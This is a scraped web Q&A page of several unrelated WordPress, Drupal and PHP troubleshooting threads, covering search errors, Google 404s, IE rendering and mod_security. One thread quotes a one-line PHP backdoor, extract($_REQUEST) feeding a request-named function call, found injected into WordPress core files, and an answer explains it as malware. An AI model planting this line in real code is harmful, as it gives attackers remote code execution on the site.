Wordpress search - Error 324 (net::ERR_EMPTY_RESPONSE) - php

I have start to experience a issue in a project that is based on wordpress. The issue is pretty weird.
Here is the description: when I search anything that doesn't start with the letter d on the website it works fine - but when searching anything starting with the letter d i get this Error 324 (net::ERR_EMPTY_RESPONSE).
I have been searching a lot about, but can't find anything related. I have even remade the search code from scratch using wordpress query class and still didn't work.
It happens to me in all the browsers so i don't think that this is a browser related issue. I have also tried the search in several other networks and even changed a few settings on my router, but no success.
The url for the website is: http://www.estanaweb.com.br/
The most used search term that most users try and fail is "dudalina", heres the url: http://www.estanaweb.com.br/?s=dudalina, if i try searching only for "udalina" it works fine.

One solution to your problem is very easy, you only need to add the space character in front of the search-term. Wordpress will remove it for the search so you actually search the same as without but you won't get the timeout issue.
Try it your own:
http://www.estanaweb.com.br/?s=%20dudalina
For a hotfix I suggest you place a rewrite rule into your server configuration that does automatically and transparently add a space character here.
BTW, for me the original error I got in the browser was:
Error 103 (net::ERR_CONNECTION_ABORTED): Unknown error.

Related

PHP/WordPress: our site broke with the following code in the files

Any help is very appreciated.
Short story:
I would like some help trying to understand what this line of code is intended to do.
extract($_REQUEST)&&#$shall(stripslashes($shall))&&exit;
I deciphered most of it except the $shall part. $shall does not appear anywhere else and I did not go into details of reading WordPress code.
The line appeared in the below files as the first line right after <?php
Long story:
I have a site that runs on WordPress and it randomly broke with errors in 2 WordPress files. The filenames are
.../wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php
.../wp-includes/blocks/block.php
It is not present in WordPress GitLab file versions. We did not initiate any WordPress updates, etc. I commented out the line in both files and all is back to normal.
Any ideas as to how/why/for what purpose this line would appear there?
If ($_REQUEST['shall']="something") then $shall will equal string 'something' after the extract part. If there's a function called something it will execute. So basically all wordpress functions are available for this script. This is a back door for a malware no doubt. Not good.
Search in google found record of the file name somewhere, however before you remove it be ready for it to re-appear if you haven't fixed your vulnerabilities.

Increase in 404 errors where "%5C%22" features in google results

I hope someone here can help me
I have started getting alerts from google about increasing 404's.
every one of these has the string "%5C%22" in the url rather than the ascii character.
This issue comes and goes every few months. It's a wp site, with only premium plugins.
The best/ nearest answer I have found is here:
It seems that google is looking in code that is not designed for it to
look at. Indeed Stack Overflow lists a similar issue
Ajax used for image loading causes 404 errors.
But there appears to be no real cause identified.
For example
https://rapidbi.com/swotanalysistemplates/%5C%22/ listed in google - but when I go to the page it says contains this link ( https://rapidbi.com/swotanalysistemplates/ ) there is no such link.
Sometimes the %5c%22 is in the middle as well as at the end of a url. So the theory that its a /\ code in PHP makes sense - but how do we solve this?
Could it be that google is reading the PHP instructions?
Should this be an issue that google coders fix rather than us poor webmasters/
or is there a server side solution to this.
I have 100s of these errors increasingly daily!
Should I just ignore these google reported errors?
Should I mark them as fixed (they are not, as they never existed in the first place)?
Is there a fix? It's a wp based site, should I be changing the robot text to block something? If so what?
do we know of any plugins that might create this issue?
Thank you in advanced
Mike
First, from Google itself. 404s doesn't affect ranking of your website.
But of course we want to fix this kind of error.
Second, on Google Webmaster Tools you can see where "google" saw / crawled this link. I suggest that you check where google pick this URL and look in your code if there's any code that add /%5C%22/ in the URL.

Scrolling Effect for Drupal Website

I have came across a website recently that has this effect when you scroll down, the individual blocks of text will move in accordingly, and when you scroll back up, the individual blocks of text will move out accordingly as well. The website is: http://aperia.com.sg/ for reference.
I am pretty new to the website (Drupal) field, and this effect made me super curious, I have Google-ed for 2 days on how to do this effect, but can't seem to find any similarity to this effect or how to do it.
I have used this add on module which can be found at: https://www.drupal.org/project/parallax, but it seems to lead to this error, "PDOException: SQLSTATE[HY000]: General error...." Its most likely to be server host problem right? But is there a work around if the server host admin is unwilling to comply?
It seems to be Parallax. Try this, for example, https://www.drupal.org/project/parallax

Internet Explorer not rendering pages correctly because of a PHP class

I have a very strange problem and i don't know what to do about it. My site seems to work just fine all browsers other than internet explorer, so i've been trying to figure out why.
I've narrowed it down to the a file that I'm including in my site, this file is a php class that has a number of different functions like login getters and setters and so on.
I took all the php code out of my pages and it renders fine, so i added the php back in line by line and released that it stopped working when i used this:
require_once 'classes/Membership2.php';
Does anyone know why some php code will be messing with the style of my website.
For more detail on the matter, i have a number of divs that are centered, they all have curved edges as well as shadows. So by taking away the php i can see that IE is loading the page properly, no incompatibilities or anything like that.
Has anyone had a problem like this before? While i'm waiting for an aswesome or two i'll be removing functions and part of the code till i can narrow it down. (I would give code, but the file has a lot of lines of code.)
Thanks for the help.
Oh yeah and I'm testing on Internet Explorer 9 and every other browser is the latest version or close enough.
Okay so i've done some more digging into this, i've found that if i delete all the code in the class (All the functions) and leave just and empty class in the include file it still doesn't work. Okay, so in my view that means the functions aren't whats making this problem. So i deleted EVERYTHING, so now the include points to a blank php file. This worked and the page rendered as it should but obviously there is no functionality, i can't login or anything like that. I decided to add a constructor instead of leaving it as default, this function does nothing but return true; and it made the site mess up again.
Does this info change anything? Also i'm reiterating the fact that i do not get this error or any other browser but Internet Explorer 9 (Haven't tried any other IE version).
Thanks again for the help.
Okay, so i've solved the problem. At the start of my PHP class i have used
<!-- blah blah blah -->
forgetting that there is only PHP in this document and no HTML. So when i include the file it just outputs that into my source code and and messes things up, should have used the PHP commenting style.
Still strange that EVERY browser other than IE just ignores this and goes about its business, even the site that #blankabout suggested didn't give me any error (Although i assure thats because its part of the included PHP file and not the HTML itself).
as #fajran says to you, save both outputs with "view source code" on the browser and compare them to find the diference. To compare outputs use winmerge or similar tool. Once you now which text it generating the trouble, modify it inside the include file.
Given that your php, because it runs on the server, should never actually reach the browser, it may very well be some unterminated HTML or similar that is causing the problem. Perhaps the PHP is causing a break in the HTML that is unexpected.

Weird query: "equal slash id" (=/id) gives weird error: 501

This is the weirdest problem of my life, and can't even Google it. It's happening on an Apache powered website written in PHP, which uses mod_rewrite (but that's not the issue, I tried removing the .htaccess file, problem still exists).
If I have a query string that looks exactly or similar to: =/id I get an 501 response:
Method Not Implemented
GET to / not supported.
Additionally, a 404 Not Found error was encountered while trying to
use an ErrorDocument to handle the request.
I never written such error page, never sent an 501 response, don't have the slightest clue where this thing is coming from. Originally I had a long URL giving me a similar error, but I stripped down to this little snippet above. If I remove or change any character, the error's gone.
If that helps: my website is commentards.net, and the original URL was an openid login request which looks like this:
http://commentards.net/q/user/auth?openid_identifier=https://www.google.com/accounts/o8/id
from which the query string is:
?openid_identifier=https://www.google.com/accounts/o8/Fid
I asked the support team, and they said it was mod_security, and disabled it for my website. And now it works fine. I should have started with that. Anyway, thanks for your help.
Urlencode your query string parameter(s).
https://www.google.com/accounts/o8/id
becomes
https%3A%2F%2Fwww.google.com%2Faccounts%2Fo8%2FFid
http://commentards.net/q/user/auth?openid_identifier=https%3A%2F%2Fwww.google.com%2Faccounts%2Fo8%2FFid works fine, so HerrSerker already answered your question.

Categories